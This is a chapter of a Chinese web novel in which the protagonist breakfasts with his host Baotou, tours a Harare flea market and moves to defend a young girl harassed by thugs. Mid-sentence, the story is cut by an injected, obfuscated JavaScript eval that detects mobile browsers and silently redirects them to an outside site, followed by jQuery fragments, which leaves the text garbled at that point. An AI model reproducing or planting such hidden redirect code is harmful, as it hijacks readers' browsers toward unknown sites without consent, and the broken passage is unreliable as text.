清晨。


    湛文嘉下楼时，发现豹头已经坐在餐桌边了。


    这人脸上已寻不见半分昨夜的痕迹——那种被绷紧弓弦似的焦躁，全给收拾妥帖了，重又塞回了皮囊底下，眼下只剩那副熟悉的、糙里糙气的笑。


    桌上摆着简单的早餐：煎蛋、面包片、一小碟黄油，还有一壶冒着热气的咖啡。


    “小嘉爷，早啊。”豹头见他下来，笑着招呼，“昨晚睡得怎么样？这破地方比不得国内，床垫硬了些，要是睡不惯，我让人给你换。”


    “挺好的，豹哥费心了。”湛文嘉拉开椅子坐下，脸上尚带着几分惺忪，“一觉到天亮，连个梦都没做。”


    他说这话时语气自然，眼神坦荡——


    左臂内侧那道黑线，今早起来后，已经消退了大半，呈半透明状，就算是人存了心仔细看，也看不出什么异常。


    豹头也的确没觉出异常。


    他盯着湛文嘉看了两秒，见他神态自若地开始往面包上抹黄油，才笑着递过咖啡壶：“那就好，那就好——今天有什么安排？听阿坤说，昨天已经带你去看过铂矿了，咱们在哈拉雷还有铬铁矿、金矿，虽然规模比不上阿卡迪亚，但也各有特色。你要是感兴趣，我让他们准备好，随时可以过去看。”


    湛文嘉接过咖啡壶，给自己倒了半杯，端起杯子抿了一口后，才慢悠悠地说：“不用了，豹哥，我这次来，主要就是为了看看锂矿。至于其他那些嘛......”他耸耸肩，打了个哈欠，“都是石头堆，看来看去也没啥意思。”


    这话轻飘飘的，落在豹头耳里，终于让他听出了几分纨绔子弟特有的、三分钟热度的倦。


    他闻言，嘴角的笑意真切了几分：“也是、也是。那......”他顿了顿，又问，“你有没有别的想去的地方？津国虽然小，但也有几处值得一看的景点——维多利亚瀑布去过没？开车过去也就几个小时，要不......”


    “算了吧，懒得坐车了。”湛文嘉摇摇头，放下咖啡杯，好似陷入了回忆，“倒是昨天回来路上，看到个挺有意思的地方。”


    “哦？什么地方？”


    “好像叫什么......跳蚤市场。”湛文嘉抬眼看向豹头，眼睛里带着几分好奇，“门口有个大木雕，挺有味道的。我想去那儿逛逛，淘点有特色的纪念品带回去送人。”


    豹头愣了一下，显然没想到，这少爷竟然会对那种地方感兴趣。


    鱼龙混杂、环境嘈杂，卖的也都是些廉价的手工艺品和旧货，根本不是什么高档去处。按理说，像湛文嘉这种身份，要买东西的话，合计也该去哈拉雷市中心，大教堂旁边那几家高档工艺品店才对。


    但转念一想，这倒也符合他心目中这小子地主家的傻儿子做派。


    “跳蚤市场啊......”豹头摸了摸自己的光头，笑道，“那地方倒是热闹，东西也多。行，既然小嘉爷有兴趣，我亲自带你去转转！”


    “那怎么好意思，豹哥你可是大忙人，让阿坤带我去就行了。”湛文嘉忙摆手。


    “哎，这话说的！”豹头站起身，拍了拍胸脯，“你大老远来一趟，都叫我是哥了，又怎么能不尽地主之谊？今天我就当个导游，好好带你逛逛哈拉雷！”


    语气豪爽，仿佛真把湛文嘉当成了自家兄弟。


    湛文嘉见状，也不再推辞，笑笑：“那就多谢哥了。”


    ***


    上午十点，大切诺基驶入了跳蚤市场外的露天停车场。


    与昨天匆匆路过不同，今天湛文嘉终于有机会仔细打量这个哈拉雷著名的民间交易场所。


    市场占地颇广，由铁丝网围出一大片空地，里面密密麻麻地搭着各式各样的摊位：有用铁皮和木板简单拼凑的固定棚子，有直接在泥地上铺块布就开张的地摊，也有推着三轮车、随时准备转移的流动商贩。


    空气是稠的，各种气味混在里面打架——烤玉米的焦香、熟透芒果的甜腻、廉价香料的刺鼻，还有汗味、尘土味......统统搅和在一起，最终一起形成这非洲大陆特有的、蓬蓬勃勃的气息。


    穿着鲜艳印花布裙的女人们头上顶着竹篮，灵巧地在人群中穿梭；赤脚的孩子们追跑打闹，皮肤在阳光下黑得发亮；男人们则三五成群地聚在一起，抽着廉价的香烟，大声谈笑。人声像煮沸的水，咕嘟嘟往外冒：绍纳语、蹩脚的英语，还有其他听不懂的土话，混成一股燥热的声浪，劈头盖脸地朝湛文嘉砸过来。


    那块雕着蛇鹫与毒蛇的巨大木牌匾，此时依旧杵在入口。阳光下，木纹狰狞毕现，透着一股子原始的蛮劲。


    湛文嘉在牌匾前驻足，仰头看了好一会儿。


    “这玩意儿雕得还行吧？”豹头站在他身边，也抬头看着，“蛇鹫，咱们这儿也叫‘秘书鸟’，长得高，腿长，专吃蛇，尤其是黑曼巴。本地人把它当神鸟看，觉得能辟邪。”


    “秘书鸟？”湛文嘉重复了一遍。


    “对，据说是因为它脑袋后面那撮羽毛，看着像古代秘书插在耳朵上的羽毛笔。”豹头指了指牌匾上鸟的头部，“不过这玩意儿性子凶，领地意识强，惹急了连人都敢啄。我以前在草原上见过一次，追着一条两米多长的眼镜蛇啄，没几下就把蛇脑袋啄烂了。”


    湛文嘉若有所思地点了点头。


    “走吧，进去看看。”豹头拍了拍他的肩膀，率先走进了市场。


    一进去，喧嚣声瞬间放大数倍。


    摊位上的商品琳琅满目：手工雕刻的木雕面具和动物摆件、色彩斑斓的编织篮和挂毯、串成串的贝壳和骨头项链、造型夸张的金属饰品......还有堆积如山的二手衣物、电器，甚至是汽车。


    不少摊主见豹头和湛文嘉是东方面孔，立刻热情地招呼起来，用蹩脚的中文喊道：


    “老板，看看这个！”


    “便宜，便宜！”


    “中国朋友，好朋友！”


    ......


    豹头显然对这里很熟，沿路跟几个相


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168230|196148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    熟的摊主点头打招呼，偶尔还会用生涩的绍纳语说上两句，惹得对方哈哈大笑。


    湛文嘉跟在他身后，目光看似随意地扫过两旁的摊位。


    “小嘉爷，看上什么没？”豹头回头问道，“这里的木雕不错，都是手工的，虽然做工糙了点，但胜在原始，有非洲味儿。买回去摆家里，也算是个纪念。”


    湛文嘉正想回话，目光却被前方不远处的一个小摊位吸引了过去。


    那是个卖编织品和串珠首饰的摊子，摊主是个七八岁的阿拉伯小女孩，扎着一头细密的小辫子，穿着件洗得发白的碎花裙，站在同她一样高的桌子前。


    她面前铺着一块干净的蓝布，上面整整齐齐地摆放着几个手工编织的小篮子、几串彩色珠链，还有几个用种子和贝壳串成的手环。


    摊位很小，东西也不多，但摆放得一丝不苟，能看出用了心。


    而就在此刻，摊位前站着三个流里流气的年轻男人，二十出头，穿着廉价的紧身T恤和破洞牛仔裤，头发用发胶抓得冲天。为首的是个高个子，正拿起一个编织篮子在手里掂量，脸上挂着不怀好意的笑。


    “这个多少钱？”高个子嬉笑着问道。


    小女孩怯生生地看着他，小声回答：“两、两美元。”


    “两美元？！”高个子夸张地瞪大眼睛，把篮子往摊上一扔，“就这破玩意儿？五美分，爱卖不卖！”


    “不、不行。”小女孩声音更小了，“哥哥，我还要赚钱的......”


    “哟，还挺倔？”旁边一个瘦子凑上来，伸手想去摸小女孩的脸，“小妹妹，长得挺水灵啊，不如跟哥哥们去玩玩儿，这篮子哥哥们全要了，怎么样？”


    小女孩吓得往后缩，眼圈一下子红了。


    周围几个摊主看见了，却都低下头，装作没看见。显然，这三个混混在这里很是臭名昭著，没人想惹麻烦。


    湛文嘉见状，脚步却顿住了。


    他静静地看着那个小女孩——那双清澈的眼睛里盛满了恐惧和无助，像极了记忆深处某个被尘封的影像。


    许多年前，也有个小女孩，会因为被街坊的孩子抢了糖果，委屈地跑回家，拽着他的衣角，眼泪汪汪地说“哥哥，他们欺负我”。


    那时他会揉着她的脑袋，瞪她：“没出息！”语落，却转身出门，把那些小崽子挨个揪出来教训一顿。回来时，把抢回来的糖、连同自己兜里所有的，都塞进她汗湿的小手心。


    酸胀的刺痛混着迟来多年的愧，在心头细细密密地漫开。


    他那时候，应该对她更温柔点的——因为后来，他再也没机会了。


    下一刻，只听他忽然拔高了声音，语气里灌满了合乎他“身份”的、天真又莽撞的义愤：


    “他们怎么能这样呢！豹哥，你等我一下！”


    豹头一愣，还没嚼明白这话里的意思，就见身旁的青年已经拧着眉、鼓着腮，一副路见不平的少爷架势，气势汹汹地朝着那个小摊位冲了过去。